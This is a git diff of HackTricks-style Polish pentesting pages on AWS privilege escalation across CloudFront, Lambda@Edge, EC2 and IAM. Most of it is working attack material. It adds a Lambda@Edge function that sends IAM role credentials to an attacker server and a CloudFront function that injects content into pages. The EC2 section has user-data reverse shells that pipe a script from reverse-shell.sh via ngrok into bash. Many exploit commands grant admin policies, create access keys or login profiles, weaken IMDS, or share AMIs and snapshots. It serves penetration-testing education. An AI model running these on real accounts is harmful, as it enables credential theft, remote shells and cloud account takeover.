\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+
+
+
+Compromised Page
+
+
+Original Content
+This page has been modified by CloudFront Functions
+
+
+
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# Utwórz złośliwą funkcję w CloudFront
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# Pobierz ETag funkcji w etapie DEVELOPMENT
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# Opublikuj funkcję do etapu LIVE
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+ // Pobierz poświadczenia roli
+ const credentials = {
+ accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+ secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+ sessionToken: process.env.AWS_SESSION_TOKEN,
+ };
+ // Wyślij poświadczenia na serwer atakującego
+ try {
+ await fetch("https:///steal-credentials", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify(credentials)
+ });
+ } catch (error) {
+ console.error("Błąd wysyłania poświadczeń:", error);
+ }
+ if (event.Records && event.Records[0] && event.Records[0].cf) {
+ // Zmodyfikuj nagłówki odpowiedzi
+ const response = event.Records[0].cf.response;
+ response.headers["x-credential-theft"] = [
+ {
+ key: "X-Credential-Theft",
+ value: "Successful",
+ },
+ ];
+ return response;
+ }
+ return {
+ statusCode: 200,
+ body: JSON.stringify({ message: "Poświadczenia skradzione" })
+ };
+};
+```
+
+```bash
+# Spakuj funkcję Lambda@Edge
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# Utwórz funkcję Lambda@Edge z uprzywilejowaną rolą
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# Opublikuj wersję funkcji
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# Zastosuj zaktualizowaną konfigurację dystrybucji (należy użyć aktualnego ETag)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# Wywołaj funkcję, wysyłając żądanie do dystrybucji
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index 52d223ca6..9deb6ff05 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -4,7 +4,7 @@
## EC2
-Aby uzyskać więcej **informacji o EC2**, zobacz:
+Więcej informacji o **EC2** znajdziesz:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,11 @@ Aby uzyskać więcej **informacji o EC2**, zobacz:
### `iam:PassRole`, `ec2:RunInstances`
-Atakujący może **utworzyć instancję, dołączając rolę IAM, a następnie uzyskać dostęp do instancji** w celu kradzieży poświadczeń roli IAM z endpointu metadanych.
+Atakujący może **utworzyć instancję z dołączoną rolą IAM, a następnie uzyskać dostęp do tej instancji** i ukraść dane uwierzytelniające roli IAM z endpointu metadanych.
- **Dostęp przez SSH**
-Uruchom nową instancję używając **utworzonego** **ssh key** (`--key-name`) i następnie połącz się z nią przez ssh (jeśli chcesz utworzyć nowy, możesz potrzebować uprawnienia `ec2:CreateKeyPair`).
+Uruchom nową instancję używając **utworzonego** **ssh key** (`--key-name`) i następnie zaloguj się przez ssh (jeśli chcesz utworzyć nowy, możesz potrzebować uprawnienia `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Dostęp przez rev shell w user data**
-Możesz uruchomić nową instancję używając **user data** (`--user-data`), która wyśle do ciebie **rev shell**. W ten sposób nie musisz określać security group.
+Możesz uruchomić nową instancję używając **user data** (`--user-data`), która wyśle do Ciebie **rev shell**. Nie musisz w ten sposób określać security group.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -44,7 +44,7 @@ Uważaj na GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:
#### Privesc do ECS
-Z tym zbiorem uprawnień możesz także **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób, usługi ECS będą **uruchamiane** wewnątrz **instancji EC2**, do której masz dostęp, a następnie możesz przejąć te usługi (docker containers) i **ukraść przypisane do nich ECS roles**.
+Dysponując tym zbiorem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS będą **uruchamiane** wewnątrz **instancji EC2**, do której masz dostęp, a następnie możesz przedostać się do tych usług (docker containers) i **ukraść przypisane im role ECS**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -65,13 +65,13 @@ Aby dowiedzieć się, jak **wymusić uruchomienie usług ECS** na tej nowej inst
../aws-ecs-privesc/README.md
{{#endref}}
-Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienie `ecs:RegisterContainerInstance`, możesz zarejestrować instancję w klastrze i przeprowadzić opisany atak.
+Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienie `ecs:RegisterContainerInstance`, możesz być w stanie zarejestrować instancję w klastrze i przeprowadzić opisywany atak.
**Potencjalny wpływ:** Bezpośredni privesc do ról ECS przypisanych do zadań.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-Podobnie jak w poprzednim scenariuszu, atakujący z tymi uprawnieniami mógłby **zmienić rolę IAM skompromitowanej instancji**, aby mógł ukraść nowe poświadczenia.\
+Podobnie jak w poprzednim scenariuszu, atakujący posiadający te uprawnienia mógłby **zmienić rolę IAM skompromitowanej instancji**, aby móc ukraść nowe poświadczenia.\
Ponieważ instance profile może mieć tylko 1 rolę, jeśli instance profile **już ma rolę** (częsty przypadek), będziesz również potrzebować **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Jeśli **instance profile ma rolę** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **instance profile bez roli** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **rolę** do tego **instance profile** (jak omówiono wcześniej), i **powiązać przejęty instance profile** z przejętą i**nstance:**
+Jeśli **instance profile has a role** i atakujący **cannot remove it**, istnieje inne obejście. Może **find** **instance profile without a role** lub **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** do tego **instance profile** (jak omówiono wcześniej) i **associate the instance profile** z compromised i**nstance:**
-- Jeśli instance **nie ma żadnego instance** profile (`ec2:AssociateIamInstanceProfile`)
+- Jeśli instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (wymaga przejęcia instancji AWS EC2 oraz posiadania dodatkowego uprawnienia lub określonego stanu instance profile).
+**Potencjalny wpływ:** Bezpośredni privesc do innej roli EC2 (musisz przejąć instancję AWS EC2 oraz mieć dodatkowe uprawnienie lub konkretny status instance profile).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Dzięki tym uprawnieniom można zmienić instance profile przypisany do instancji, więc jeśli atakujący już ma dostęp do instancji, będzie w stanie wykraść poświadczenia dla większej liczby ról związanych z instance profile, zmieniając ten przypisany do niej.
+Dzięki tym uprawnieniom można zmienić instance profile przypisany do instancji, więc jeśli atakujący już ma dostęp do instancji, będzie mógł wykraść poświadczenia dla innych ról instance profile, zmieniając przypisany do niej.
-- Jeśli instancja **ma instance profile**, możesz **usunąć** instance profile (`ec2:DisassociateIamInstanceProfile`) i **powiązać** go
+- Jeśli instancja **ma instance profile**, możesz **usunąć** instance profile (`ec2:DisassociateIamInstanceProfile`) i **przypisać** je
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- lub **zastąpić** **instance profile** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`).
+- lub **zastąpić** **instance profile** skompromitowanej instance (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (wymagane uprzednie przejęcie instancji AWS EC2 oraz posiadanie dodatkowego uprawnienia lub specyficznego statusu instance profile).
+**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć przejętą instancję AWS EC2 oraz dodatkowe uprawnienie lub określony status instance profile).
### `ec2:RequestSpotInstances`,`iam:PassRole`
-Atakujący posiadający uprawnienia **`ec2:RequestSpotInstances`and`iam:PassRole`** może **zażądać** **Spot Instance** z **EC2 Role attached** i umieścić **rev shell** w **user data**.\
-Po uruchomieniu instancji może **ukraść IAM role**.
+Atakujący z uprawnieniami **`ec2:RequestSpotInstances`and`iam:PassRole`** może **zażądać** **Spot Instance** z **dołączoną rolą EC2** i **rev shell** w **user data**.\
+Po uruchomieniu instancji, może **przejąć rolę IAM**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-Atakujący z uprawnieniem **`ec2:ModifyInstanceAttribute`** może modyfikować atrybuty instancji. Między innymi może **zmienić user data**, co oznacza, że może sprawić, że instancja **wykona dowolny kod.** To można wykorzystać do uzyskania **rev shell na instancji EC2**.
+Atakujący posiadający uprawnienie **`ec2:ModifyInstanceAttribute`** może modyfikować atrybuty instancji. Między innymi może **zmienić user data**, co oznacza, że może sprawić, że instancja będzie **uruchamiać dowolne dane**. To można wykorzystać do uzyskania **rev shell do instancji EC2**.
-Należy pamiętać, że atrybuty można **modyfikować tylko, gdy instancja jest zatrzymana**, więc potrzebne są **uprawnienia** **`ec2:StopInstances`** i **`ec2:StartInstances``.**
+Należy pamiętać, że atrybuty można **modyfikować tylko gdy instancja jest zatrzymana**, więc wymagane są **uprawnienia** **`ec2:StopInstances`** i **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej EC2 IAM Role przypisanej do utworzonej instancji.
+**Potencjalny wpływ:** Bezpośrednie privesc do dowolnego EC2 IAM Role przypisanego do utworzonej instancji.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-Atakujący posiadający uprawnienia **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** może utworzyć **nową Launch Template wersję** z **rev shell w** **user data** oraz **dowolną EC2 IAM Role na niej**, zmienić domyślną wersję, a **dowolna Autoscaler group** **używająca** tego **Launch Templat**e, który jest **skonfigurowany** do użycia **latest** lub **default version** ponownie **ponownie uruchomi instancje** używając tego template i wykona rev shell.
+Atakujący posiadający uprawnienia **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** może utworzyć **new Launch Template version** z **rev shell in** the **user data** i z przypisanym **any EC2 IAM Role on it**, zmienić domyślną wersję, a **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** ponownie uruchomi instancje używające tego szablonu i wykona rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Potencjalny wpływ:** Bezpośredni privesc do innej roli EC2.
+**Potencjalny wpływ:** Direct privesc na inną rolę EC2.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-Atakujący posiadający uprawnienia **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateLaunchConfiguration`,`iam:PassRole`** może **utworzyć Launch Configuration** z **IAM Role** i **rev shell** w **user data**, następnie **utworzyć autoscaling group** na podstawie tej konfiguracji i poczekać, aż rev shell **ukradnie IAM Role**.
+Atakujący posiadający uprawnienia **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć Launch Configuration** z **IAM Role** i **rev shell** wewnątrz **user data**, następnie **utworzyć autoscaling group** na podstawie tej konfiguracji i poczekać, aż rev shell **ukradnie IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -200,24 +200,24 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
-Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza, aby eskalować** uprawnienia do IAM role, ponieważ aby dołączyć rolę określoną w Launch Configuration lub w Launch Template, konieczne są uprawnienia **`iam:PassRole`** i **`ec2:RunInstances`** (co jest znanym privesc).
+Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do eskalacji** uprawnień do roli IAM, ponieważ aby przypisać rolę określoną w Launch Configuration lub w Launch Template **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym privesc).
### `ec2-instance-connect:SendSSHPublicKey`
-Atakujący z uprawnieniem **`ec2-instance-connect:SendSSHPublicKey`** może dodać klucz ssh do użytkownika i użyć go do uzyskania dostępu (jeśli ma dostęp ssh do instancji) lub do eskalacji uprawnień.
+Atakujący posiadający uprawnienie **`ec2-instance-connect:SendSSHPublicKey`** może dodać klucz ssh do użytkownika i użyć go, by uzyskać dostęp (jeśli ma dostęp ssh do instancji) lub do eskalacji uprawnień.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Potencjalny wpływ:** Bezpośredni privesc do EC2 IAM roles przypisanych do działających instancji.
+**Potencjalny wpływ:** Bezpośredni privesc do EC2 IAM roles przypisanych do uruchomionych instancji.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-Atakujący posiadający uprawnienie **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać ssh key do serial connection**. Jeśli serial nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess`**, aby go włączyć.
+Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli konsola szeregowa nie jest włączona, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess`**, aby ją włączyć.
-Aby połączyć się z serial port, musisz również **znać username i password użytkownika wewnątrz maszyny**.
+Aby połączyć się z portem szeregowym, trzeba również **znać nazwę użytkownika i hasło użytkownika** wewnątrz maszyny.
```bash
aws ec2 enable-serial-console-access
@@ -231,11 +231,11 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
```
Ta metoda nie jest zbyt przydatna do privesc, ponieważ do jej wykorzystania trzeba znać nazwę użytkownika i hasło.
-**Potencjalny wpływ:** (Trudne do udowodnienia) Bezpośrednie privesc do EC2 IAM roles przypisanych do działających instancji.
+**Potencjalny wpływ:** (Trudne do udowodnienia) Bezpośredni privesc do EC2 IAM roles przypisanych do uruchomionych instancji.
### `describe-launch-templates`,`describe-launch-template-versions`
-Ponieważ launch templates mają wersjonowanie, atakujący posiadający uprawnienia **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby to wykorzystać, aby odkryć wrażliwe informacje, takie jak poświadczenia obecne w user data. Aby to osiągnąć, następujący skrypt iteruje przez wszystkie wersje dostępnych launch templates:
+Ponieważ launch templates mają wersjonowanie, atakujący posiadający uprawnienia **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** może je wykorzystać do odkrycia wrażliwych informacji, takich jak poświadczenia obecne w user data. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych launch templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,24 +248,29 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
-W powyższych poleceniach, chociaż określamy pewne wzorce (`aws_|password|token|api`), możesz użyć innego wyrażenia regularnego, aby wyszukać inne typy wrażliwych informacji.
+W powyższych poleceniach, chociaż określamy pewne wzorce (`aws_|password|token|api`), możesz użyć innego regexu, aby wyszukać inne typy wrażliwych informacji.
Zakładając, że znajdziemy `aws_access_key_id` i `aws_secret_access_key`, możemy użyć tych poświadczeń do uwierzytelnienia w AWS.
**Potencjalny wpływ:** Bezpośrednia eskalacja uprawnień do użytkownika(ów) IAM.
-## Referencje
+## Źródła
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+
+
+
+
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
-Atakujący, który ma możliwość wywołania `ec2:ModifyInstanceMetadataOptions` na docelowej instancji EC2, może osłabić zabezpieczenia IMDS przez włączenie IMDSv1 (`HttpTokens=optional`) oraz zwiększenie `HttpPutResponseHopLimit`. Sprawia to, że endpoint metadanych instancji staje się osiągalny przez powszechne ścieżki SSRF/proxy z aplikacji działających na instancji. Jeśli atakujący potrafi wywołać SSRF w takiej aplikacji, może pobrać instance profile credentials i pivot with them.
+Atakujący mający możliwość wywołania `ec2:ModifyInstanceMetadataOptions` na docelowej instancji EC2 może osłabić zabezpieczenia IMDS przez włączenie IMDSv1 (`HttpTokens=optional`) i zwiększenie `HttpPutResponseHopLimit`. Sprawia to, że endpoint metadanych instancji staje się osiągalny przez typowe ścieżki SSRF/proxy z aplikacji działających na instancji. Jeśli atakujący potrafi wywołać SSRF w takiej aplikacji, może pobrać poświadczenia profilu instancji i przemieścić się dalej z ich użyciem.
-- Wymagane uprawnienia: `ec2:ModifyInstanceMetadataOptions` na docelowej instancji (oraz możliwość dotarcia/wywołania SSRF na hoście).
-- Docelowy zasób: uruchomiona instancja EC2 z dołączonym instance profile (IAM role).
+- Wymagane uprawnienia: `ec2:ModifyInstanceMetadataOptions` na docelowej instancji (plus możliwość dotarcia do/wywołania SSRF na hoście).
+- Docelowy zasób: działająca instancja EC2 z dołączonym instance profile (rolą IAM).
-Przykład poleceń:
+Przykładowe polecenia:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id \
@@ -292,5 +297,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-Potencjalny wpływ: Kradzież instance profile credentials przez SSRF prowadząca do privilege escalation i lateral movement z uprawnieniami roli EC2.
+Potencjalny wpływ: Kradzież poświadczeń profilu instancji przez SSRF prowadząca do eskalacji uprawnień i ruchu bocznego przy użyciu uprawnień roli EC2.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+Atakujący posiadający uprawnienie ec2:ModifyInstanceMetadataOptions może osłabić zabezpieczenia Instance Metadata Service (IMDS) — na przykład wymuszając IMDSv1 (sprawiając, że HttpTokens nie są wymagane) lub zwiększając HttpPutResponseHopLimit — ułatwiając w ten sposób eksfiltrację tymczasowych poświadczeń. Najistotniejszym wektorem ryzyka jest podniesienie HttpPutResponseHopLimit: zwiększając ten limit skoków (TTL), endpoint 169.254.169.254 przestaje być ściśle ograniczony do przestrzeni nazw sieciowych VM i może stać się osiągalny przez inne procesy/kontenery, umożliwiając kradzież poświadczeń.
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+Atakujący posiadający uprawnienia ec2:ModifyImageAttribute i ec2:ModifySnapshotAttribute może udostępniać AMIs lub snapshots innym kontom AWS (a nawet uczynić je publicznymi), ujawniając obrazy lub wolumeny, które mogą zawierać wrażliwe dane, takie jak konfiguracje, poświadczenia, certyfikaty lub kopie zapasowe. Poprzez modyfikację AMI’s launch permissions lub snapshot’s create-volume permissions atakujący pozwala osobom trzecim na uruchamianie instances lub montowanie disks z tych zasobów i dostęp do ich zawartości.
+
+Aby udostępnić AMI innemu kontu:
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+Aby udostępnić EBS snapshot innemu kontu:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index 3b977359b..c5300e460 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -4,7 +4,7 @@
## IAM
-Aby uzyskać więcej informacji o IAM, zobacz:
+Więcej informacji o IAM:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,40 +12,40 @@ Aby uzyskać więcej informacji o IAM, zobacz:
### **`iam:CreatePolicyVersion`**
-Umożliwia utworzenie nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Pozwala to na zdefiniowanie niestandardowych uprawnień.
+Pozwala na utworzenie nowej wersji polityki IAM, omijając potrzebę uprawnienia `iam:SetDefaultPolicyVersion` dzięki użyciu flagi `--set-as-default`. Umożliwia to zdefiniowanie niestandardowych uprawnień.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**Wpływ:** Pozwala bezpośrednio eskalować uprawnienia, umożliwiając dowolne działanie na dowolnym zasobie.
+**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie.
### **`iam:SetDefaultPolicyVersion`**
-Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może eskalować uprawnienia, jeśli nowa wersja ma więcej uprawnień.
+Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może prowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.
**Polecenie Bash:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Wpływ:** Pośrednia eskalacja uprawnień przez umożliwienie przyznania dodatkowych uprawnień.
+**Impact:** Pośrednia eskalacja uprawnień przez umożliwienie uzyskania dodatkowych uprawnień.
### **`iam:CreateAccessKey`**
-Umożliwia utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do eskalacji uprawnień.
+Umożliwia tworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do eskalacji uprawnień.
**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**Impact:** Bezpośrednia eskalacja uprawnień poprzez przejęcie rozszerzonych uprawnień innego użytkownika.
+**Wpływ:** Bezpośrednia privilege escalation poprzez przejęcie rozszerzonych uprawnień innego użytkownika.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-Pozwala na tworzenie lub aktualizowanie profilu logowania, w tym ustawianie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.
+Umożliwia tworzenie lub aktualizowanie login profile, w tym ustawianie haseł do logowania w AWS console, co prowadzi do bezpośredniej privilege escalation.
-**Exploit dla utworzenia:**
+**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password ''
@@ -55,55 +55,55 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez zalogowanie się jako „dowolny” użytkownik.
+**Wpływ:** Direct privilege escalation by logging in as "any" user.
### **`iam:UpdateAccessKey`**
-Pozwala na ponowne włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada wyłączony klucz.
+Pozwala na włączenie wyłączonego access key, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz.
-**Exploit:**
+**Eksploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez ponowne aktywowanie access keys.
+**Wpływ:** Bezpośrednia eskalacja uprawnień przez reaktywację access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-Umożliwia wygenerowanie lub zresetowanie credentials dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), które dziedziczą uprawnienia powiązanego użytkownika.
+Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), dziedzicząc uprawnienia powiązanego użytkownika.
**Exploit for Creation:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
-**Exploit dla resetu:**
+**Exploit dla Reset:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Wpływ:** Bezpośrednia eskalacja uprawnień w obrębie uprawnień usługi użytkownika.
+**Wpływ:** Bezpośrednia eskalacja uprawnień w ramach uprawnień serwisowych użytkownika.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-Pozwala dołączać polityki do użytkowników lub grup, co bezpośrednio eskaluje uprawnienia poprzez dziedziczenie uprawnień z dołączonej polityki.
+Pozwala dołączać polityki do użytkowników lub grup, bezpośrednio eskalując uprawnienia poprzez dziedziczenie uprawnień dołączonej polityki.
-**Eksploit dla użytkownika:**
+**Exploit for User:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
-**Eksploit dla grupy:**
+**Exploit dla Group:**
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Impact:** Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje ta polityka.
+**Impact:** Direct privilege escalation do wszystkiego, co polityka przyznaje.
